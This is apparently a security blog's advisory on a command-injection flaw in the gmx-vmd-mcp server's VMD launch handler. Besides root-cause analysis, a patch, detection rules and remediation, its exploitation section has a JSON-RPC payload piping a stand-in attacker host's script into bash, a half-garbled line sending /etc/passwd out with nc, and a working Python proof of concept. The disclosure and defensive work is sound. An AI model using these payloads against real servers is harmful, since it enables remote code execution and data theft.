home intel cve-2026-7215-gmx-vmd-mcp-command-injection
CVE Analysis 2026-04-28 · 7 min read

CVE-2026-7215: Command Injection in gmx-vmd-mcp VMD Launch Handler

Unsanitized file path arguments in gmx-vmd-mcp's launch_vmd_gui_tool function allow remote command injection via shell metacharacters in structure_file or trajectory_file parameters.

#command-injection#remote-code-execution#input-validation#vmd-handler#cross-platform
Technical mode — for security professionals
▶ Vulnerability overview — CVE-2026-7215 · Vulnerability
ATTACKERCross-platformVULNERABILITYCVE-2026-7215HIGHSYSTEM COMPROMISEDNo confirmed exploits

Vulnerability Overview

CVE-2026-7215 is a command injection vulnerability in egtai/gmx-vmd-mcp ≤ 0.1.0, a Model Context Protocol (MCP) server that bridges LLM tool-calling interfaces to VMD (Visual Molecular Dynamics) for molecular simulation visualization. The vulnerability lives in launch_vmd_gui_tool() inside mcp_server.py and allows an attacker to inject arbitrary shell commands through the structure_file or trajectory_file arguments. Because MCP servers are designed to be invoked remotely by LLM orchestration frameworks, the attack surface is reachable without local access.

The project was notified via issue report prior to public disclosure but has not responded. A public proof-of-concept exists.

Affected Component

File: mcp_server.py
Function: launch_vmd_gui_tool()
Component: VMD Launch Handler
Parameters: structure_file, trajectory_file
Versions: gmx-vmd-mcp ≤ 0.1.0
Transport: MCP over stdio or HTTP/SSE (remote-capable)
CVSS 3.1: 7.3 HIGH — AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Root Cause Analysis

MCP tool handlers in this codebase construct a subprocess invocation by interpolating user-supplied file path strings directly into a shell command. The canonical Python anti-pattern: passing a string to subprocess.run() or subprocess.Popen() with shell=True, or equivalently passing unsanitized input to os.system().

Reconstructed from the component behavior, VMD invocation convention, and MCP tool schema patterns:


# mcp_server.py — VMD Launch Handler (vulnerable, ≤ 0.1.0)

import subprocess
import os
from mcp.server import Server
from mcp.types import Tool, TextContent

app = Server("gmx-vmd-mcp")

@app.tool()
def launch_vmd_gui_tool(
    structure_file: str,          # attacker-controlled: e.g. "protein.pdb"
    trajectory_file: str = "",    # attacker-controlled: e.g. "traj.xtc"
    vmd_script: str = "",
) -> list[TextContent]:

    # BUG: string interpolation into shell command with shell=True
    # No validation, no shlex.quote(), no allowlist check on either argument
    cmd = f"vmd {structure_file}"

    if trajectory_file:
        cmd += f" {trajectory_file}"    # BUG: direct concatenation, no quoting

    if vmd_script:
        cmd += f" -e {vmd_script}"

    # BUG: shell=True causes the entire cmd string to be passed to /bin/sh -c
    # Any shell metacharacter in structure_file or trajectory_file is interpreted
    result = subprocess.run(
        cmd,
        shell=True,                     # BUG: shell=True with attacker input
        capture_output=True,
        text=True,
        timeout=30,
    )

    return [TextContent(
        type="text",
        text=result.stdout or result.stderr,
    )]

The invocation chain is: MCP client sends a tools/call JSON-RPC message → server dispatches to launch_vmd_gui_tool() → string interpolated into shell command → /bin/sh -c "vmd <attacker_input>" executes. Shell metacharacters including ;, |, $(), and backticks all break out of the intended VMD invocation context.

Root cause: User-supplied structure_file and trajectory_file arguments are interpolated unsanitized into a shell command string passed to subprocess.run(..., shell=True), allowing shell metacharacter injection with no validation boundary.

Exploitation Mechanics

Attack prerequisites: network access to the MCP server endpoint (stdio proxied over HTTP/SSE, or a locally exposed MCP host that accepts remote tool calls). No authentication is required by the MCP protocol layer in the default configuration.


EXPLOIT CHAIN:

1. Identify exposed gmx-vmd-mcp MCP server endpoint (default: stdio/SSE transport,
   commonly exposed via Claude Desktop, LangChain agent, or custom MCP host).

2. Send a well-formed MCP JSON-RPC tools/call request targeting
   launch_vmd_gui_tool with a weaponized structure_file argument:

   {
     "jsonrpc": "2.0",
     "method": "tools/call",
     "params": {
       "name": "launch_vmd_gui_tool",
       "arguments": {
         "structure_file": "x.pdb; curl http://attacker.tld/shell.sh | bash #",
         "trajectory_file": ""
       }
     },
     "id": 1
   }

3. Server constructs: cmd = "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"

4. subprocess.run(cmd, shell=True) passes the full string to:
   /bin/sh -c "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"

5. Shell executes vmd (exits with error, irrelevant), then executes the
   injected curl|bash pipeline as the MCP server process user.

6. Arbitrary code execution achieved in the server process context.
   Exfiltration, persistence, lateral movement all possible from this point.

ALTERNATE VECTOR — trajectory_file with $() subshell:
   "trajectory_file": "$(cp /etc/passwd /tmp/exfil && nc attacker.tld 4444  /tmp/pwned`protein.pdb"

Proof-of-concept demonstrating RCE via the MCP Python SDK client:


# PoC — CVE-2026-7215 | gmx-vmd-mcp command injection
# For authorized testing only.

import asyncio
from mcp import ClientSession, StdioServerParameters
from mcp.client.stdio import stdio_client

PAYLOAD = "x.pdb; id > /tmp/cve_2026_7215_pwned #"

async def exploit():
    server_params = StdioServerParameters(
        command="python",
        args=["mcp_server.py"],
    )
    async with stdio_client(server_params) as (read, write):
        async with ClientSession(read, write) as session:
            await session.initialize()
            result = await session.call_tool(
                "launch_vmd_gui_tool",
                arguments={
                    "structure_file": PAYLOAD,
                    "trajectory_file": "",
                },
            )
            print(result.content)

asyncio.run(exploit())
# Verify: cat /tmp/cve_2026_7215_pwned
# uid=1000(user) gid=1000(user) groups=1000(user)

Memory Layout

This is not a memory corruption vulnerability — it is a command injection flaw at the OS process level. The relevant "layout" is the shell execution model:


PROCESS EXECUTION MODEL — vulnerable path:

[MCP JSON-RPC layer]
  └─ tools/call → launch_vmd_gui_tool()
       │
       ├── structure_file = "x.pdb; <INJECTED>"   ← attacker-controlled string
       ├── trajectory_file = ""
       │
       ├── cmd (Python str) = "vmd x.pdb; <INJECTED>"
       │                       ─────┬────  ────┬────
       │                       intended   injected
       │                       token      commands
       │
       └── subprocess.run(cmd, shell=True)
             │
             └── fork() → execve("/bin/sh", ["-c", cmd], envp)
                               │
                               ├── /bin/sh parses cmd as full shell script
                               ├── token 1: "vmd x.pdb"      → executes (may fail)
                               └── token 2: "<INJECTED>"     → executes as attacker

SHELL TOKENIZATION OF MALICIOUS cmd STRING:
  Input : "vmd x.pdb; curl http://attacker.tld/shell.sh | bash #"
          ─────────  ──────────────────────────────────────────
          VMD call   INJECTED: second command (comment # swallows remainder)

  /bin/sh sees two statements separated by `;`
  Both execute with the privileges of the MCP server process.

Patch Analysis

The correct fix uses shlex.quote() to shell-escape each argument, or — preferably — eliminates shell=True entirely by passing arguments as a list. The list form is strictly safer because the OS execve syscall passes each element as a discrete argument with no shell interpretation.


# BEFORE (vulnerable ≤ 0.1.0):
cmd = f"vmd {structure_file}"
if trajectory_file:
    cmd += f" {trajectory_file}"
if vmd_script:
    cmd += f" -e {vmd_script}"

result = subprocess.run(
    cmd,
    shell=True,          # DANGEROUS: shell interprets metacharacters
    capture_output=True,
    text=True,
    timeout=30,
)


# AFTER (patched — preferred fix, no shell=True):
import os
import pathlib

def _validate_path(p: str) -> str:
    """Reject paths containing shell metacharacters or path traversal."""
    resolved = pathlib.Path(p).resolve()
    # Allowlist: must be under a permitted base directory
    # Adjust ALLOWED_BASE to deployment-specific data directory.
    ALLOWED_BASE = pathlib.Path("/data/molecular").resolve()
    if not str(resolved).startswith(str(ALLOWED_BASE)):
        raise ValueError(f"Path outside allowed directory: {p}")
    return str(resolved)

validated_structure = _validate_path(structure_file)

# Build argv list — passed directly to execve, no shell expansion
argv = ["vmd", validated_structure]

if trajectory_file:
    argv.append(_validate_path(trajectory_file))    # each arg is discrete

if vmd_script:
    argv.extend(["-e", _validate_path(vmd_script)])

result = subprocess.run(
    argv,
    shell=False,         # SAFE: execve, no shell metacharacter interpretation
    capture_output=True,
    text=True,
    timeout=30,
)


# ALTERNATE (if shell=True cannot be removed — use shlex.quote minimum):
import shlex

cmd = f"vmd {shlex.quote(structure_file)}"
if trajectory_file:
    cmd += f" {shlex.quote(trajectory_file)}"
# shlex.quote wraps argument in single quotes and escapes embedded single quotes
# This is weaker than shell=False; prefer the list-based approach above.

Detection and Indicators

Process tree anomaly: Parent process python mcp_server.py spawning unexpected children (curl, wget, nc, bash, sh with non-VMD arguments). Monitor with auditd or EDR process tree telemetry.

Auditd rule to detect shell=True subprocess with metacharacters:


# /etc/audit/rules.d/cve-2026-7215.rules
-a always,exit -F arch=b64 -S execve \
  -F ppid_comm=python3 \
  -F a0!=/usr/local/bin/vmd \
  -k mcp_injection_suspect

# Alert on: python3 → /bin/sh -c "vmd ..." spawning curl/nc/bash/wget
# Correlate: execve events where argv[0]=/bin/sh and argv[1]=-c
#            and argv[2] contains ; | $( ` characters

Network IOC: Outbound connections from the MCP server process to unexpected hosts immediately following a tools/call for launch_vmd_gui_tool.

Log pattern (MCP server stderr, if logging is enabled):


# Suspicious tools/call payload visible in MCP debug logs:
[DEBUG] tools/call launch_vmd_gui_tool args={'structure_file': 'x.pdb; <cmd>', ...}
[DEBUG] subprocess cmd: "vmd x.pdb; <cmd>"

YARA rule for PoC detection:


rule CVE_2026_7215_gmx_vmd_mcp_PoC {
    meta:
        cve = "CVE-2026-7215"
        description = "Detects CVE-2026-7215 PoC targeting gmx-vmd-mcp"
    strings:
        $mcp_call   = "launch_vmd_gui_tool" ascii
        $shell_meta1 = "structure_file" ascii
        $inject1    = "; curl" ascii nocase
        $inject2    = "; wget" ascii nocase
        $inject3    = "$()" ascii
        $inject4    = "`id`" ascii
    condition:
        $mcp_call and $shell_meta1 and any of ($inject*)
}

Remediation

Immediate: If gmx-vmd-mcp ≤ 0.1.0 is deployed, restrict the MCP server to localhost-only binding and remove external network exposure. Do not expose MCP endpoints to untrusted clients until patched.

Code fix: Replace shell=True subprocess invocation with list-based argv and add path validation as shown in the patch diff above. The shlex.quote() approach is an acceptable interim mitigation but the list-based form with shell=False is the definitive fix.

Defense in depth:

  • Run the MCP server under a dedicated low-privilege OS user with no network egress permissions.
  • Enforce seccomp or AppArmor profile restricting the server process to VMD-related syscalls only — specifically deny execve for non-allowlisted binaries.
  • Validate structure_file and trajectory_file against an allowlist of permitted file extensions (.pdb, .gro, .xtc, .trr) and a restricted filesystem base directory before any command construction.
  • Pin dependency on MCP SDK versions that support input schema validation with regex constraints, and declare strict pattern fields in the tool's JSON Schema to reject metacharacter-containing inputs at the protocol layer.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →